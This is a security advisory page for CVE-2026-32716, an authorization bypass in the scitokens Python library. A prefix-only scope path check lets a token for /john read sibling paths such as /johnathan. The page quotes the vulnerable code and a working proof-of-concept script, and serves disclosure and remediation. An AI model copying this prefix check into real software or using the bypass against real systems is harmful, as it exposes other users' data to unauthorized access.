CVE-2026-32716: Scitokens SciTokens Has An Authorization Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-w8fp-g9rh-34jh
CVSS 8.1
CWE-285
Published
Advisory Summary

CVE-2026-32716 is a HIGH (CVSS 8.1) scitokens has an authorization bypass vulnerability (CWE-285: Improper Authorization) affecting Scitokens libraries in the PyPI ecosystem. The issue involves scitokens has an authorization bypass via incorrect scope path prefix checking. Remediation is available by upgrading affected packages to version 1.9.6.

CVE-2026-32716 at a Glance

CVE Identifier CVE-2026-32716
GHSA Identifier GHSA-w8fp-g9rh-34jh
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-285: Improper Authorization
Affected Product Scitokens
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-32716

To remediate this vulnerability, upgrade all affected Scitokens dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

scitokens fixed: 1.9.6
pip install scitokens>=1.9.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show scitokens

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-32716, inspect your installed packages using pip:

pip show scitokens

Analyze the terminal output to locate any version of Scitokens in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.6), your application is affected.

Note: The pip show scitokens command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-285: Improper Authorization, where the product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. In Scitokens, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `Enforcer` incorrectly validates scope paths by using a simple prefix match (`startswith`). This allows a token with access to a specific path (e.g., `/john`) to also access sibling paths that start with the same prefix (e.g., `/johnathan`, `/johnny`), which is an **Authorization Bypass**. ### Details **File:** `src/scitokens/scitokens.py` **Methods:** `_validate_scp` and `_validate_scope` ### Vulnerable Code Snippets: **In `_validate_scp` (around line 696):** ```python for scope in value: authz, norm_path = self._check_scope(scope) if (self._test_authz == authz) and norm_requested_path.startswith(norm_path): return True ``` **In `_validate_scope` (around line 722):** ```python for scope in value.split(" "): authz, norm_path = self._check_scope(scope) if (self._test_authz == authz) and norm_requested_path.startswith(norm_path): return True ``` If `norm_path` (authorized) is `/john` and `norm_requested_path` (requested) is `/johnathan`, `startswith` returns `True`, incorrectly granting access. ### PoC ``` import scitokens import sys def poc_scope_bypass(): """ Demonstrate an Authorization Bypass vulnerability in scope path checking. """ print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---") issuer = "https://scitokens.org/unittest" enforcer = scitokens.Enforcer(issuer) # Create a token with access to /john token = scitokens.SciToken() token['iss'] = issuer token['scope'] = "read:/john" print(f"Authorized path in scope: /john") # 1. Test access to /john/file (should be allowed) print(f"[1] Testing legitimate subpath: /john/file") if enforcer.test(token, 'read', '/john/file'): print(" -> Access GRANTED (Correct behavior)") else: print(" -> Access DENIED (Incorrect behavior - should have access to subpaths)") # 2. Test access to /johnathan (SHOULD BE DENIED) print(f"[2] Testing illegitimate sibling path: /johnathan") if enforcer.test(token, 'read', '/johnathan'): print(" -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.") else: print(" -> Access DENIED (Correct behavior - fix is working)") # 3. Test access to /johnny (SHOULD BE DENIED) print(f"[3] Testing illegitimate sibling path: /johnny") if enforcer.test(token, 'read', '/johnny'): print(" -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.") else: print(" -> Access DENIED (Correct behavior - fix is working)") if __name__ == "__main__": # Ensure scitokens from src/ is available sys.path.insert(0, "src") poc_scope_bypass() ``` ### Impact This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user `john` might be able to read or write to the directory of user `johnathan` simply because their names share a prefix.

CVE-2026-32716 Affected Scitokens Versions

1 component(s)
Fixed Versions:
1.9.6
Product / Package Ecosystem Affected Versions Fixed Version
scitokens
PyPI
< 1.9.6
1.9.6

References

Frequently Asked Questions

What is CVE-2026-32716?
CVE-2026-32716 is a security vulnerability in Scitokens involving SciTokens has an Authorization Bypass via Incorrect Scope Path Prefix Checking under CWE-285: Improper Authorization.
Which Scitokens versions are affected?
Affected versions include releases prior to 1.9.6 across affected packages: scitokens.
What version fixes CVE-2026-32716?
Upgrading to 1.9.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is scitokens affected?
Yes, scitokens is affected in releases prior to 1.9.6. Upgrade your dependency to 1.9.6 or later.
What is the CVSS score of CVE-2026-32716?
CVE-2026-32716 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-32716?
CVE-2026-32716 is classified under CWE-285: Improper Authorization (The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.).
How can I check PyPI dependencies for CVE-2026-32716?
Run the dependency tree command: 'pip show scitokens'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w8fp-g9rh-34jh",
  "modified" : "2026-03-31T22:51:03Z",
  "published" : "2026-03-31T22:51:03Z",
  "aliases" : [ "CVE-2026-32716" ],
  "summary" : "SciTokens has an Authorization Bypass via Incorrect Scope Path Prefix Checking",
  "details" : "### Summary\nThe `Enforcer` incorrectly validates scope paths by using a simple prefix match (`startswith`). This allows a token with access to a specific path (e.g., `/john`) to also access sibling paths that start with the same prefix (e.g., `/johnathan`, `/johnny`), which is an **Authorization Bypass**.\n\n### Details\n**File:** `src/scitokens/scitokens.py`  \n**Methods:** `_validate_scp` and `_validate_scope`\n\n### Vulnerable Code Snippets:\n\n**In `_validate_scp` (around line 696):**\n```python\n    for scope in value:\n        authz, norm_path = self._check_scope(scope)\n        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n            return True\n```\n\n**In `_validate_scope` (around line 722):**\n```python\n    for scope in value.split(\" \"):\n        authz, norm_path = self._check_scope(scope)\n        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n            return True\n```\n\nIf `norm_path` (authorized) is `/john` and `norm_requested_path` (requested) is `/johnathan`, `startswith` returns `True`, incorrectly granting access.\n\n### PoC\n```\n\nimport scitokens\nimport sys\n\ndef poc_scope_bypass():\n    \"\"\"\n    Demonstrate an Authorization Bypass vulnerability in scope path checking.\n    \"\"\"\n    print(\"--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---\")\n    \n    issuer = \"https://scitokens.org/unittest\"\n    enforcer = scitokens.Enforcer(issuer)\n    \n    # Create a token with access to /john\n    token = scitokens.SciToken()\n    token['iss'] = issuer\n    token['scope'] = \"read:/john\"\n    \n    print(f\"Authorized path in scope: /john\")\n    \n    # 1. Test access to /john/file (should be allowed)\n    print(f\"[1] Testing legitimate subpath: /john/file\")\n    if enforcer.test(token, 'read', '/john/file'):\n        print(\"    -> Access GRANTED (Correct behavior)\")\n    else:\n        print(\"    -> Access DENIED (Incorrect behavior - should have access to subpaths)\")\n\n    # 2. Test access to /johnathan (SHOULD BE DENIED)\n    print(f\"[2] Testing illegitimate sibling path: /johnathan\")\n    if enforcer.test(token, 'read', '/johnathan'):\n        print(\"    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n    else:\n        print(\"    -> Access DENIED (Correct behavior - fix is working)\")\n\n    # 3. Test access to /johnny (SHOULD BE DENIED)\n    print(f\"[3] Testing illegitimate sibling path: /johnny\")\n    if enforcer.test(token, 'read', '/johnny'):\n        print(\"    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n    else:\n        print(\"    -> Access DENIED (Correct behavior - fix is working)\")\n\nif __name__ == \"__main__\":\n    # Ensure scitokens from src/ is available\n    sys.path.insert(0, \"src\")\n    poc_scope_bypass()\n\n```\n### Impact\nThis bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user `john` might be able to read or write to the directory of user `johnathan` simply because their names share a prefix.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "scitokens"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/scitokens/scitokens/security/advisories/GHSA-w8fp-g9rh-34jh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32716"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/scitokens/scitokens/commit/7a237c0f642efb9e8c36ac564b745895cca83583"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/scitokens/scitokens"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/scitokens/scitokens/releases/tag/v1.9.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-31T22:51:03Z",
    "nvd_published_at" : "2026-03-31T03:15:57Z"
  }
}